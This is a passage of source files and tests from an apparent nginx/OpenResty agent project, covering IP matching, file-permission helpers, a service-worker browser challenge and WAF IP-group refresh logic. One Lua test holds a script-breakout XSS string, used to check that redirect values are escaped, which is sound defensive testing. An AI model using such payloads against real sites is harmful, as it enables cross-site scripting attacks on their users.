ipv6_values[ipv6s_values_idx] = value
node[inet] = ipv6s_values_idx
ipv6s_values_idx = ipv6s_values_idx + 1
else
node[inet] = true
end
end
node[inet] = node[inet] or {}
node = node[inet]
end
parsed_ipv6s_mask[ip_addr_mask] = true
goto continue
end
if not inet_ipv4 and not inets_ipv6 then
return nil, "invalid ip address: " .. ip_addr
end
::continue::
end
local ipv4_mask_arr = {}
for k, _ in pairs(parsed_ipv4s_mask) do
insert_tab(ipv4_mask_arr, k)
end
local ipv6_mask_arr = {}
for k, _ in pairs(parsed_ipv6s_mask) do
insert_tab(ipv6_mask_arr, k)
end
return setmetatable({
ipv4 = parsed_ipv4s,
ipv4_mask = parsed_ipv4s_mask,
ipv4_mask_arr = ipv4_mask_arr,
ipv4_match_all_value = ipv4_match_all_value,
ipv6 = parsed_ipv6s,
ipv6_mask = parsed_ipv6s_mask,
ipv6_mask_arr = ipv6_mask_arr,
ipv6_values = ipv6_values,
ipv6_match_all_value = ipv6_match_all_value,
}, mt)
end
function _M.new(ips)
return new(ips, false)
end
function _M.new_with_value(ips)
return new(ips, true)
end
local function match_ipv4(self, ip)
local ipv4s = self.ipv4
local value = ipv4s[ip]
if value ~= nil then
return value
end
local ipv4_mask = self.ipv4_mask
if self.ipv4_match_all_value ~= nil then
return self.ipv4_match_all_value -- match any ip
end
for _, mask in ipairs(self.ipv4_mask_arr) do
local valid_inet_addr = bit.rshift(ip, 32 - mask)
log_info("ipv4 mask: ", mask,
" valid inet: ", valid_inet_addr)
value = ipv4_mask[mask][valid_inet_addr]
if value ~= nil then
return value
end
end
return false
end
local function match_ipv6(self, ip)
local ipv6s = self.ipv6
if self.ipv6_match_all_value ~= nil then
return self.ipv6_match_all_value -- match any ip
end
for _, mask in ipairs(self.ipv6_mask_arr) do
local node = ipv6s[mask]
local inet_idxs = gen_ipv6_idxs(ip, mask)
for _, inet in ipairs(inet_idxs) do
if not node[inet] then
break
else
node = node[inet]
if node == true then
return true
end
if type(node) == "number" then
-- fetch with the ipv6s_values_idx
return self.ipv6_values[node]
end
end
end
end
return false
end
function _M.match(self, ip)
local inet_ipv4 = parse_ipv4(ip)
if inet_ipv4 then
return match_ipv4(self, inet_ipv4)
end
local inets_ipv6 = parse_ipv6(ip)
if not inets_ipv6 then
return false, "invalid ip address, not ipv4 and ipv6"
end
local ipv6s = self.ipv6
local value = ipv6s[ip]
if value ~= nil then
return value
end
return match_ipv6(self, inets_ipv6)
end
function _M.match_bin(self, bin_ip)
local inet_ipv4 = parse_bin_ipv4(bin_ip)
if inet_ipv4 then
return match_ipv4(self, inet_ipv4)
end
local inets_ipv6 = parse_bin_ipv6(bin_ip)
if not inets_ipv6 then
return false, "invalid ip address, not ipv4 and ipv6"
end
return match_ipv6(self, inets_ipv6)
end
return _M
@@ -0,0 +1,32 @@
// Copyright 2026 Arctel.net
// SPDX-License-Identifier: Apache-2.0
package nginx
import (
"Wavelet/openflare/plugins/agent/runtimeuser"
)
// OpenFlareRuntimeUser is the shared OS account for the agent process and
// OpenResty worker processes.
const OpenFlareRuntimeUser = runtimeuser.Name
// OpenRestyWorkerUser is an alias kept for internal call sites.
const OpenRestyWorkerUser = runtimeuser.Name
// EnsureWorldTraversablePath makes targetDir and its ancestors world-traversable.
func EnsureWorldTraversablePath(targetDir string) error {
return runtimeuser.EnsurePathOwnership(targetDir, nginxDirPerm, nginxConfigFilePerm)
}
// EnsureWorkerReadableTree normalizes ownership and modes under root for the
// shared runtime user.
func EnsureWorkerReadableTree(rootDir string) error {
return runtimeuser.EnsurePathOwnership(rootDir, nginxDirPerm, nginxConfigFilePerm)
}
// EnsureWorkerReadAccess makes agent-managed runtime paths accessible to the
// shared runtime user.
func (m *Manager) EnsureWorkerReadAccess() error {
return m.ensureOpenRestyWorkerReadAccess()
}
@@ -0,0 +1,78 @@
// Copyright 2026 Arctel.net
// SPDX-License-Identifier: Apache-2.0
package nginx
import (
"os"
"path/filepath"
"testing"
)
func TestEnsureWorkerReadableTreeFixesRestrictedPagesFiles(t *testing.T) {
tempDir := t.TempDir()
pagesDir := filepath.Join(tempDir, "data", "var", "lib", "openflare", "pages")
releaseDir := filepath.Join(pagesDir, "deployments", "1", "releases", "abc123")
if err := os.MkdirAll(releaseDir, 0o700); err != nil {
t.Fatalf("MkdirAll failed: %v", err)
}
indexPath := filepath.Join(releaseDir, "index.html")
if err := os.WriteFile(indexPath, []byte("<html></html>"), 0o600); err != nil {
t.Fatalf("WriteFile failed: %v", err)
}
if err := EnsureWorldTraversablePath(pagesDir); err != nil {
t.Fatalf("EnsureWorldTraversablePath failed: %v", err)
}
if err := EnsureWorkerReadableTree(pagesDir); err != nil {
t.Fatalf("EnsureWorkerReadableTree failed: %v", err)
}
info, err := os.Stat(indexPath)
if err != nil {
t.Fatalf("Stat failed: %v", err)
}
if info.Mode().Perm() != nginxConfigFilePerm {
t.Fatalf("expected index.html mode %o, got %o", nginxConfigFilePerm, info.Mode().Perm())
}
etcInfo, err := os.Stat(filepath.Join(tempDir, "data", "var"))
if err != nil {
t.Fatalf("Stat var failed: %v", err)
}
if etcInfo.Mode().Perm()&0o005 == 0 {
t.Fatalf("expected var directory to be world-traversable, got %o", etcInfo.Mode().Perm())
}
}
func TestManagerEnsureWorkerReadAccessIncludesPagesDir(t *testing.T) {
tempDir := t.TempDir()
dataDir := filepath.Join(tempDir, "data")
pagesRoot := filepath.Join(dataDir, "var", "lib", "openflare", "pages")
releaseDir := filepath.Join(pagesRoot, "deployments", "1", "releases", "abc123")
if err := os.MkdirAll(releaseDir, 0o700); err != nil {
t.Fatalf("MkdirAll failed: %v", err)
}
if err := os.WriteFile(filepath.Join(releaseDir, "index.html"), []byte("ok"), 0o600); err != nil {
t.Fatalf("WriteFile failed: %v", err)
}
manager := &Manager{PagesDir: pagesRoot}
if err := manager.EnsureWorkerReadAccess(); err != nil {
t.Fatalf("EnsureWorkerReadAccess failed: %v", err)
}
info, err := os.Stat(filepath.Join(tempDir, "data"))
if err != nil {
t.Fatalf("Stat data failed: %v", err)
}
if info.Mode().Perm()&0o005 == 0 {
t.Fatalf("expected data directory to be world-traversable, got %o", info.Mode().Perm())
}
indexInfo, err := os.Stat(filepath.Join(releaseDir, "index.html"))
if err != nil {
t.Fatalf("Stat index failed: %v", err)
}
if indexInfo.Mode().Perm() != nginxConfigFilePerm {
t.Fatalf("expected index.html mode %o, got %o", nginxConfigFilePerm, indexInfo.Mode().Perm())
}
}
@@ -0,0 +1,114 @@
// Copyright 2026 Arctel.net
// SPDX-License-Identifier: Apache-2.0
package nginx
import (
"Wavelet/openflare/plugins/agent/protocol"
)
const openRestySWRuntimeLua = `local _M = {}
local source = debug.getinfo(1, "S").source or ""
if string.sub(source, 1, 1) == "@" then
local script_path = string.sub(source, 2)
local base_dir = string.match(script_path, "^(.*)/sw/[^/]+%.lua$")
if base_dir and base_dir ~= "" and not string.find(package.path, base_dir, 1, true) then
package.path = base_dir .. "/?.lua;" .. base_dir .. "/?/init.lua;" .. package.path
end
end
local function is_real_browser(ua)
if not ua or ua == "" then return false end
-- Chrome/Edge/CentOS-style: "Chrome/120" (pattern mode: %d = digit)
if string.find(ua, "Chrome/%d", 1) then return true end
-- Firefox: "Firefox/120"
if string.find(ua, "Firefox/%d", 1) then return true end
-- Safari (non-Chrome, e.g. "Version/17.0 Safari")
if not string.find(ua, "Chrome", 1, true) and string.find(ua, "Safari", 1, true) then return true end
return false
end
local function pass_through()
return true
end
function _M.check()
local ua = ngx.var.http_user_agent or ""
if not is_real_browser(ua) then return pass_through() end
local uri = ngx.var.uri or ""
if uri ~= "/" then return pass_through() end
if ngx.req.get_method and ngx.req.get_method() ~= "GET" then return pass_through() end
local cookie = ngx.var["cookie___openflare_sw"]
if cookie and cookie ~= "" then return pass_through() end
-- intercept: internal redirect to challenge page, which registers SW + sets cookie
local redir = ngx.var.scheme .. "://" .. ngx.var.host .. uri .. (ngx.var.args and ("?" .. ngx.var.args) or "")
ngx.req.set_uri_args({ redir = redir })
return ngx.exec("/__openflare_sw_challenge")
end
return _M
`
const openRestySWChallengeLua = `local args = ngx.req.get_uri_args()
local redir = args["redir"] or "/"
-- Escape redir for embedding inside a JS string literal within an HTML
-- <script> element. Backslashes first so later escapes stay escaped, then
-- double quotes (string-literal break-out), then "<" (prevents a raw
-- "</script" sequence ending the element, which the HTML parser matches
-- case-insensitively), then CR/LF (a raw newline would end the literal).
local function escape_redir(value)
local escaped = string.gsub(value, "\\", "\\\\")
escaped = string.gsub(escaped, '"', '\\"')
escaped = string.gsub(escaped, "<", "\\x3C")
escaped = string.gsub(escaped, string.char(0xE2, 0x80, 0xA8), "\\u2028")
escaped = string.gsub(escaped, string.char(0xE2, 0x80, 0xA9), "\\u2029")
escaped = string.gsub(escaped, "\r", "\\r")
escaped = string.gsub(escaped, "\n", "\\n")
return escaped
end
redir = escape_redir(redir)
ngx.header.content_type = "text/html; charset=utf-8"
ngx.say([[<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="robots" content="noindex,nofollow">
<title></title>
<script>
console.debug("[sw-challenge] challenge page loaded, redirect target: ]] .. redir .. [[");
if ("serviceWorker" in navigator) {
console.debug("[sw-challenge] registering service worker /sw.js");
navigator.serviceWorker.register("/sw.js").then(function () {
console.debug("[sw-challenge] service worker registered");
document.cookie = "__openflare_sw=1; Path=/; Max-Age=31536000; Secure; SameSite=Lax";
location.replace("]] .. redir .. [[");
}).catch(function (err) {
console.debug("[sw-challenge] service worker registration failed, redirecting anyway: ", err);
location.replace("]] .. redir .. [[");
});
} else {
console.debug("[sw-challenge] service worker unsupported, redirecting");
document.cookie = "__openflare_sw=1; Path=/; Max-Age=31536000; Secure; SameSite=Lax";
location.replace("]] .. redir .. [[");
}
</script>
</head>
<body></body>
</html>]])
`
// ManagedSWLuaFiles returns embedded Lua assets for the SW offline challenge.
func ManagedSWLuaFiles() []protocol.SupportFile {
return []protocol.SupportFile{
{Path: "sw/runtime.lua", Content: openRestySWRuntimeLua},
{Path: "sw/challenge.lua", Content: openRestySWChallengeLua},
}
}
@@ -0,0 +1,35 @@
// Copyright 2026 Arctel.net
// SPDX-License-Identifier: Apache-2.0
package nginx
import (
"os"
"path/filepath"
"testing"
lua "github.com/yuin/gopher-lua"
)
func TestSWRuntimeAndChallenge(t *testing.T) {
state := lua.NewState()
defer state.Close()
runtimePath := filepath.Join(t.TempDir(), "runtime.lua")
if err := os.WriteFile(runtimePath, []byte(openRestySWRuntimeLua), 0o644); err != nil {
t.Fatal(err)
}
challengePath := filepath.Join(t.TempDir(), "challenge.lua")
if err := os.WriteFile(challengePath, []byte(openRestySWChallengeLua), 0o644); err != nil {
t.Fatal(err)
}
specPath, err := filepath.Abs("sw_runtime_spec.lua")
if err != nil {
t.Fatal(err)
}
state.SetGlobal("SW_RUNTIME_PATH", lua.LString(runtimePath))
state.SetGlobal("SW_CHALLENGE_PATH", lua.LString(challengePath))
if err := state.DoFile(specPath); err != nil {
t.Fatalf("SW runtime/challenge specification failed: %v", err)
}
}
@@ -0,0 +1,175 @@
local runtime_path = assert(SW_RUNTIME_PATH, "SW_RUNTIME_PATH is required")
local challenge_path = assert(SW_CHALLENGE_PATH, "SW_CHALLENGE_PATH is required")
local function assert_equal(actual, expected, message)
if actual ~= expected then
error((message or "values differ") .. ": expected " .. tostring(expected) .. ", got " .. tostring(actual), 2)
end
end
-- Stable tables: never rebind `exec_calls` / `redir_args` (closures capture
-- the upvalue slot; rebinding can leave stale values visible under
-- gopher-lua across long test sequences). Clear them in place instead.
local output = {}
local exec_calls = {}
local redir_args = {}
local function clear_state()
for i = 1, #exec_calls do exec_calls[i] = nil end
redir_args.redir = nil
end
ngx = {
var = {},
header = {},
exec = function(uri)
exec_calls[#exec_calls + 1] = uri
return true
end,
say = function(body) output.body = body end,
req = {
get_uri_args = function() return redir_args end,
set_uri_args = function(args) redir_args.redir = args.redir end,
},
}
local function load_runtime()
local chunk = assert(loadfile(runtime_path))
return chunk()
end
local function reset_request(user_agent, uri, cookie, args, method)
clear_state()
ngx.var = {
http_user_agent = user_agent,
uri = uri or "/",
scheme = "https",
host = "example.com",
args = args,
["cookie___openflare_sw"] = cookie,
}
ngx.req.get_method = function() return method or "GET" end
end
local function test_module_contract()
local runtime = load_runtime()
assert_equal(type(runtime), "table", "sw.runtime must return a module table, not true/nil")
assert_equal(type(runtime.check), "function", "sw.runtime must export check()")
end
local function test_non_browser_ua_passes_through()
local runtime = load_runtime()
reset_request("curl/8.0.1")
assert_equal(runtime.check(), true, "non-browser UA passes through")
assert_equal(#exec_calls, 0, "non-browser UA must not intercept")
reset_request("")
assert_equal(runtime.check(), true, "empty UA passes through")
reset_request(nil)
assert_equal(runtime.check(), true, "missing UA passes through")
end
local function test_browser_ua_non_get_passes_through()
local runtime = load_runtime()
reset_request(
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
"/",
nil,
nil,
"POST"
)
assert_equal(runtime.check(), true, "non-GET request passes through")
assert_equal(#exec_calls, 0, "non-GET request must not be intercepted")
end
local function test_browser_ua_with_cookie_passes_through()
local runtime = load_runtime()
reset_request(
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
"/",
"1"
)
assert_equal(runtime.check(), true, "browser UA with cookie passes through")
assert_equal(#exec_calls, 0, "cookie holder must not be intercepted")
end
local function test_browser_ua_root_without_cookie_intercepts()
local runtime = load_runtime()
local chrome = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
reset_request(chrome, "/")
runtime.check()
assert_equal(#exec_calls, 1, "browser without cookie on / must be intercepted once")
assert_equal(exec_calls[1], "/__openflare_sw_challenge", "intercept targets the challenge page")
assert_equal(redir_args.redir, "https://example.com/", "redir arg preserves scheme+host+uri")
reset_request(chrome, "/", nil, "a=1&b=2")
runtime.check()
assert_equal(#exec_calls, 1, "second request also intercepted")
assert_equal(redir_args.redir, "https://example.com/?a=1&b=2", "redir arg keeps the query string")
reset_request("Mozilla/5.0 (X11; Linux x86_64; rv:121.0) Gecko/20100101 Firefox/121.0", "/")
runtime.check()
assert_equal(exec_calls[1], "/__openflare_sw_challenge", "Firefox intercepted")
reset_request(
"Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1",
"/"
)
runtime.check()
assert_equal(exec_calls[1], "/__openflare_sw_challenge", "Safari intercepted")
end
local function test_browser_ua_non_root_passes_through()
local runtime = load_runtime()
reset_request(
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
"/about"
)
assert_equal(runtime.check(), true, "non-root uri passes through")
assert_equal(#exec_calls, 0, "non-root uri must not be intercepted")
end
local function run_challenge(redir_value)
output.body = nil
ngx.header = {}
redir_args.redir = redir_value
local chunk = assert(loadfile(challenge_path))
chunk()
return output.body
end
local function test_challenge_embeds_plain_redir()
local body = run_challenge("https://example.com/page?a=1&b=2")
assert_equal(
string.find(body, 'location.replace("https://example.com/page?a=1&b=2")', 1, true) ~= nil,
true,
"plain redir embedded verbatim"
)
end
local function test_challenge_escapes_script_breakout()
local payload = '"/><script>alert(1)</script>'
local body = run_challenge(payload)
assert_equal(string.find(body, '"><script>', 1, true), nil, "raw breakout sequence must not appear")
assert_equal(string.find(body, '\\x3C/script>', 1, true) ~= nil, true, "less-than must be hex-escaped")
assert_equal(string.find(body, '\\"', 1, true) ~= nil, true, "double quote must be backslash-escaped")
end
local function test_challenge_escapes_backslash_and_newline()
local payload = 'a\\b";' .. string.char(13, 10)
local body = run_challenge(payload)
assert_equal(string.find(body, 'a\\\\b\\";\\r\\n', 1, true) ~= nil, true, "backslash, quote and CRLF escaped")
end
test_module_contract()
test_non_browser_ua_passes_through()
test_browser_ua_non_get_passes_through()
test_browser_ua_with_cookie_passes_through()
test_browser_ua_root_without_cookie_intercepts()
test_browser_ua_non_root_passes_through()
test_challenge_embeds_plain_redir()
test_challenge_escapes_script_breakout()
test_challenge_escapes_backslash_and_newline()
return true
@@ -0,0 +1,45 @@
// Copyright 2026 Arctel.net
// SPDX-License-Identifier: Apache-2.0
package nginx
import (
_ "embed"
"Wavelet/openflare/plugins/agent/protocol"
)
//go:embed waf_runtime.lua
var openRestyWAFRuntimeLua string
//go:embed waf_ip_groups.lua
var openRestyWAFIPGroupsLua string
// Vendored from https://github.com/api7/lua-resty-ipmatcher v0.6.1 (Apache-2.0).
// OPM has no api7/lua-resty-ipmatcher package; deploy with Agent Lua assets instead.
//
//go:embed resty/ipmatcher.lua
var openRestyIPMatcherLua string
const openRestyWAFCheckLua = `local source = debug.getinfo(1, "S").source or ""
if string.sub(source, 1, 1) == "@" then
local script_path = string.sub(source, 2)
local base_dir = string.match(script_path, "^(.*)/waf/[^/]+%.lua$")
if base_dir and base_dir ~= "" and not string.find(package.path, base_dir, 1, true) then
package.path = base_dir .. "/?.lua;" .. base_dir .. "/?/init.lua;" .. package.path
end
end
return require("waf.runtime").check()
`
// ManagedWAFLuaFiles returns the embedded Lua source files that must be deployed to the WAF runtime directory.
func ManagedWAFLuaFiles() []protocol.SupportFile {
return []protocol.SupportFile{
{Path: "waf/runtime.lua", Content: openRestyWAFRuntimeLua},
{Path: "waf/ip_groups.lua", Content: openRestyWAFIPGroupsLua},
{Path: "waf/check.lua", Content: openRestyWAFCheckLua},
// resty.ipmatcher under lua_package_path <luaDir>/?.lua
{Path: "resty/ipmatcher.lua", Content: openRestyIPMatcherLua},
}
}
@@ -0,0 +1,47 @@
// Copyright 2026 Arctel.net
// SPDX-License-Identifier: Apache-2.0
package nginx
import (
"path/filepath"
"testing"
lua "github.com/yuin/gopher-lua"
)
func TestWAFRuntime(t *testing.T) {
state := lua.NewState()
defer state.Close()
runtimePath, err := filepath.Abs("waf_runtime.lua")
if err != nil {
t.Fatal(err)
}
specPath, err := filepath.Abs("waf_runtime_spec.lua")
if err != nil {
t.Fatal(err)
}
state.SetGlobal("WAF_RUNTIME_PATH", lua.LString(runtimePath))
if err := state.DoFile(specPath); err != nil {
t.Fatalf("WAF runtime specification failed: %v", err)
}
}
func TestWAFIPGroupRefresh(t *testing.T) {
state := lua.NewState()
defer state.Close()
modulePath, err := filepath.Abs("waf_ip_groups.lua")
if err != nil {
t.Fatal(err)
}
specPath, err := filepath.Abs("waf_ip_groups_spec.lua")
if err != nil {
t.Fatal(err)
}
state.SetGlobal("WAF_IP_GROUPS_PATH", lua.LString(modulePath))
if err := state.DoFile(specPath); err != nil {
t.Fatalf("WAF IP group refresh specification failed: %v", err)
}
}
@@ -0,0 +1,151 @@
local _M = {}
local current_groups = { groups = {} }
local current_version
local initialized = false
local shared
local read_checksum
local read_json
local decode
local log_warning
local max_snapshot_bytes
local refresh_lock_key = "ip_groups_refresh_lock"
local raw_snapshot_prefix = "ip_groups_raw:"
local version_key = "ip_groups_version"
local previous_version_key = "ip_groups_previous_version"
local function warn(message, err, forcible)
local suffix = err and (": " .. tostring(err)) or ""
if forcible then suffix = suffix .. " (forcible eviction refused)" end
pcall(log_warning, "openflare WAF IP group refresh " .. message .. suffix)
end
local function safe_set(key, value, description)
local ok, err, forcible = shared:safe_set(key, value)
if ok ~= true or forcible == true then
warn(description, err, forcible)
return false
end
return true
end
local function read_file(path)
local file, err = io.open(path, "rb")
if not file then return nil, err end
local content = file:read("*a")
file:close()
return content
end
local function valid_snapshot(snapshot)
return type(snapshot) == "table" and type(snapshot.groups) == "table"
end
local function decode_snapshot(raw)
if type(raw) ~= "string" or raw == "" then return nil end
local called, snapshot = pcall(decode, raw)
if not called or not valid_snapshot(snapshot) then return nil end
return snapshot
end
local function refresh_from_checksum()
local called, checksum = pcall(read_checksum)
if not called or type(checksum) ~= "string" then return end
checksum = string.match(checksum, "^%s*(.-)%s*$")
local committed_version = shared:get(version_key)
if checksum == "" or checksum == committed_version then return end
local json_called, raw = pcall(read_json)
if not json_called then
warn("JSON read failed", raw)
return
end
if type(raw) ~= "string" or #raw > max_snapshot_bytes then
warn("snapshot exceeds maximum " .. tostring(max_snapshot_bytes) .. " bytes")
return
end
if not decode_snapshot(raw) then return end
local raw_key = raw_snapshot_prefix .. checksum
local existing_raw = shared:get(raw_key)
local published_new_raw = false
if existing_raw == nil then
if not safe_set(raw_key, raw, "raw publication failed") then return end
published_new_raw = true
elseif existing_raw ~= raw then
return
end
if not safe_set(version_key, checksum, "commit pointer publication failed") then
if published_new_raw then shared:delete(raw_key) end
return
end
local previous_version = shared:get(previous_version_key)
if type(committed_version) == "string" and committed_version ~= "" and committed_version ~= checksum then
if not safe_set(previous_version_key, committed_version, "previous version metadata publication failed") then return end
if type(previous_version) == "string" and previous_version ~= "" and
previous_version ~= committed_version and previous_version ~= checksum then
shared:delete(raw_snapshot_prefix .. previous_version)
end
end
end
local function adopt_shared_snapshot_if_changed()
local version = shared:get(version_key)
if type(version) ~= "string" or version == "" or version == current_version then return end
local snapshot = decode_snapshot(shared:get(raw_snapshot_prefix .. version))
if not snapshot then return end
-- Matchers are compiled lazily in waf.runtime (resty.ipmatcher / fallback index).
current_groups = snapshot
current_version = version
end
local function tick(premature)
if premature then return end
local locked, lock_error, forcible = shared:safe_add(refresh_lock_key, true, 4)
if forcible == true then
warn("coordination lock refused forcible eviction", lock_error, true)
locked = false
elseif not locked and lock_error and lock_error ~= "exists" then
warn("coordination lock failed", lock_error)
end
if locked then refresh_from_checksum() end
adopt_shared_snapshot_if_changed()
end
function _M.init(options)
if initialized then return true end
options = options or {}
local runtime_dir = options.runtime_dir or "__OPENFLARE_RUNTIME_CONFIG_DIR__"
shared = options.shared or (ngx.shared and ngx.shared.openflare_waf_ip_groups)
assert(shared, "openflare_waf_ip_groups shared dictionary is required")
max_snapshot_bytes = options.max_snapshot_bytes or tonumber("__OPENFLARE_WAF_IP_GROUPS_MAX_SNAPSHOT_BYTES__")
assert(max_snapshot_bytes and max_snapshot_bytes > 0, "WAF IP group maximum snapshot size is required")
log_warning = options.log_warning or function(message)
if ngx and ngx.log then ngx.log(ngx.WARN, message) end
end
read_checksum = options.read_checksum or function()
return read_file(runtime_dir .. "/waf_ip_groups.json.checksum")
end
read_json = options.read_json or function()
return read_file(runtime_dir .. "/waf_ip_groups.json")
end
if options.decode then
decode = options.decode
else
local cjson = require("cjson.safe")
decode = cjson.decode
end
local timer_every = options.timer_every or ngx.timer.every
local ok, err = timer_every(5, tick)
if not ok then return nil, err end
initialized = true
tick(false)
return true
end
function _M.current()
return current_groups
end
return _M
@@ -0,0 +1,356 @@
local module_path = assert(WAF_IP_GROUPS_PATH, "WAF_IP_GROUPS_PATH is required")
local function assert_equal(actual, expected, message)
if actual ~= expected then
error((message or "values differ") .. ": expected " .. tostring(expected) .. ", got " .. tostring(actual), 2)
end
end
local shared_data = {}
local locks = {}
local shared = {}
function shared:get(key) return shared_data[key] end
function shared:set(key, value) shared_data[key] = value return true end
function shared:delete(key) shared_data[key] = nil return true end
function shared:safe_set(key, value) return shared:set(key, value) end
function shared:add(key, value, ttl)
assert_equal(ttl, 4, "coordination lock TTL")
if locks[key] then return false end
locks[key] = value
return true
end
function shared:safe_add(key, value, ttl) return shared:add(key, value, ttl) end
local function advance_time() locks = {} end
local disk_checksum = "v1"
local disk_json = "valid-v1"
local checksum_reads = 0
local json_reads = 0
local timer_callbacks = {}
local function decode(raw)
if raw == "valid-v1" then
return { groups = { ["1"] = { enabled = true, ip_list = { "192.0.2.1" } } } }
end
if raw == "valid-v2" then
return { groups = { ["2"] = { enabled = true, ip_list = { "198.51.100.2" } } } }
end
if raw == "valid-v3" then
return { groups = { ["3"] = { enabled = true, ip_list = { "203.0.113.3" } } } }
end
return nil, "invalid json"
end
local function load_worker()
local worker = assert(loadfile(module_path))()
worker.init({
shared = shared,
timer_every = function(interval, callback)
assert_equal(interval, 5, "refresh interval")
timer_callbacks[#timer_callbacks + 1] = callback
return true
end,
read_checksum = function()
checksum_reads = checksum_reads + 1
return disk_checksum
end,
read_json = function()
json_reads = json_reads + 1
return disk_json
end,
decode = decode,
max_snapshot_bytes = 20 * 1024 * 1024,
})
return worker
end
local first = load_worker()
local second = load_worker()
assert_equal(#timer_callbacks, 2, "each worker schedules a refresh timer")
assert_equal(checksum_reads, 1, "one worker coordinates initial checksum read")
assert_equal(json_reads, 1, "one worker reads initial JSON")
assert_equal(first.current().groups["1"].ip_list[1], "192.0.2.1", "first worker adopts initial snapshot")
assert_equal(second.current().groups["1"].ip_list[1], "192.0.2.1", "second worker adopts initial snapshot")
local function tick_all()
advance_time()
for _, callback in ipairs(timer_callbacks) do callback(false) end
end
checksum_reads = 0
json_reads = 0
for _ = 1, 3 do tick_all() end
assert_equal(checksum_reads, 3, "stable 15 seconds reads checksum once per interval")
assert_equal(json_reads, 0, "unchanged checksum never reads JSON")
disk_checksum = "v2"
disk_json = "valid-v2"
tick_all()
assert_equal(json_reads, 1, "changed snapshot JSON is read once across workers")
assert_equal(first.current().groups["2"].ip_list[1], "198.51.100.2", "first worker adopts v2")
assert_equal(second.current().groups["2"].ip_list[1], "198.51.100.2", "second worker adopts v2")
disk_checksum = "v3"
disk_json = "valid-v3"
tick_all()
assert_equal(shared_data.ip_groups_previous_version, "v2", "previous pointer follows committed version")
assert_equal(shared_data["ip_groups_raw:v1"], nil, "snapshot older than previous is cleaned")
assert_equal(shared_data["ip_groups_raw:v2"], "valid-v2", "previous committed raw is retained")
assert_equal(shared_data["ip_groups_raw:v3"], "valid-v3", "current committed raw is retained")
disk_checksum = "v2"
disk_json = "valid-v2"
tick_all()
assert_equal(shared_data.ip_groups_version, "v2", "rollback checksum becomes current commit")
assert_equal(shared_data.ip_groups_previous_version, "v3", "rollback retains former current as previous")
assert_equal(shared_data["ip_groups_raw:v2"], "valid-v2", "rollback must not clean its new current raw")
assert_equal(shared_data["ip_groups_raw:v3"], "valid-v3", "rollback retains previous raw")
disk_checksum = "v4"
disk_json = "invalid-v4"
tick_all()
assert_equal(shared_data.ip_groups_version, "v2", "invalid update preserves shared version")
assert_equal(first.current().groups["2"].ip_list[1], "198.51.100.2", "invalid update preserves first worker")
assert_equal(second.current().groups["2"].ip_list[1], "198.51.100.2", "invalid update preserves second worker")
local reads_before_requests = checksum_reads + json_reads
for _ = 1, 20 do
assert_equal(first.current().groups["2"].enabled, true, "request reads worker-local object")
end
assert_equal(checksum_reads + json_reads, reads_before_requests, "current() performs zero file I/O")
timer_callbacks[1](true)
assert_equal(checksum_reads + json_reads, reads_before_requests, "premature timer performs zero file I/O")
local function test_failed_commit_never_exposes_unpublished_raw_to_new_worker()
local data = {}
local held_locks = {}
local callbacks = {}
local checksum = "v1"
local raw = "valid-v1"
local reads = 0
local fail_commit = false
local interleaved_worker
local load_regression_worker
local regression_shared = {}
function regression_shared:get(key) return data[key] end
function regression_shared:add(key, value)
if held_locks[key] then return false end
held_locks[key] = value
return true
end
function regression_shared:delete(key) data[key] = nil return true end
local function set_regression_value(key, value)
if key == "ip_groups_version" and fail_commit then
return false, "shared dictionary full"
end
data[key] = value
if fail_commit and string.sub(key, 1, #"ip_groups_raw") == "ip_groups_raw" and not interleaved_worker then
interleaved_worker = load_regression_worker()
end
return true
end
function regression_shared:set(key, value) return set_regression_value(key, value) end
function regression_shared:safe_set(key, value) return set_regression_value(key, value) end
function regression_shared:safe_add(key, value) return regression_shared:add(key, value) end
load_regression_worker = function()
local worker = assert(loadfile(module_path))()
assert(worker.init({
shared = regression_shared,
timer_every = function(_, callback) callbacks[#callbacks + 1] = callback return true end,
read_checksum = function() return checksum end,
read_json = function() reads = reads + 1 return raw end,
decode = decode,
max_snapshot_bytes = 20 * 1024 * 1024,
}))
return worker
end
local established_worker = load_regression_worker()
assert_equal(established_worker.current().groups["1"].ip_list[1], "192.0.2.1", "v1 is committed before failure")
held_locks = {}
reads = 0
checksum = "v2"
raw = "valid-v2"
fail_commit = true
callbacks[1](false)
assert_equal(reads, 1, "failed commit still reads changed JSON only once")
assert_equal(data.ip_groups_version, "v1", "failed pointer write preserves committed version")
assert_equal(data["ip_groups_raw:v2"], nil, "failed commit cleans only unpublished v2 raw")
assert_equal(established_worker.current().groups["1"].ip_list[1], "192.0.2.1", "existing worker preserves committed v1")
assert(interleaved_worker, "raw publication must interleave a newly initialized worker")
assert_equal(interleaved_worker.current().groups["2"], nil, "new worker must not expose unpublished v2")
assert_equal(interleaved_worker.current().groups["1"].ip_list[1], "192.0.2.1", "new worker must never adopt unpublished v2 raw")
end
test_failed_commit_never_exposes_unpublished_raw_to_new_worker()
local function test_capacity_failure_never_evicts_committed_snapshot()
local data = {
ip_groups_version = "v1",
ip_groups_previous_version = "v0",
["ip_groups_raw:v1"] = "valid-v1",
["ip_groups_raw:v0"] = "valid-v0",
}
local locks = {}
local callbacks = {}
local disk_checksum = "v1"
local disk_raw = "valid-v1"
local json_reads = 0
local ordinary_writes = 0
local warnings = {}
local dict = {}
function dict:get(key) return data[key] end
function dict:delete(key) data[key] = nil return true end
function dict:add(key, value)
if locks[key] then return false end
locks[key] = value
return true
end
function dict:safe_add(key, value) return dict:add(key, value) end
function dict:set(key, value)
ordinary_writes = ordinary_writes + 1
if key == "ip_groups_raw:v2" then
data = { [key] = value }
return true, nil, true
end
data[key] = value
return true, nil, false
end
function dict:safe_set(key, value)
if key == "ip_groups_raw:v2" then return nil, "no memory", false end
